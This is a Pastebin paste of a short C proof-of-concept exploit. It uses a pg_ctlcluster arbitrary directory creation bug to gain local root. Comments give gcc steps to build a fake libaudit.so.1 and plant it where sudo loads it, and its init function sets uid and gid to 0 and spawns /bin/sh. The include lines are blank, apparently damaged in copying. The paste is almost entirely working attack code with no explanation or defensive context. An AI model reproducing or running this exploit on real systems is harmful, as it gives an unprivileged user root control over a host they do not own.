Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Author: Rich Mirch @0xm1rch
- * PoC for pg_ctlcluster arbitrary directory creation
- * gcc -fPIC -o woot.o -Wall -c woot.c
- * gcc -Wall -shared \
- * -Wl,-soname,libaudit.so.1 \
- * -Wl,-init,woot \
- * -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
- * sudo
- */
- #include
- #include
- #include
- void audit_open()
- {
- return;
- }
- void audit_log_user_message()
- {
- return;
- }
- void woot(){
- setreuid(0,0);
- setregid(0,0);
- execl("/bin/sh","/bin/sh",NULL);
- }
Advertisement
Add Comment
Please, Sign In to add comment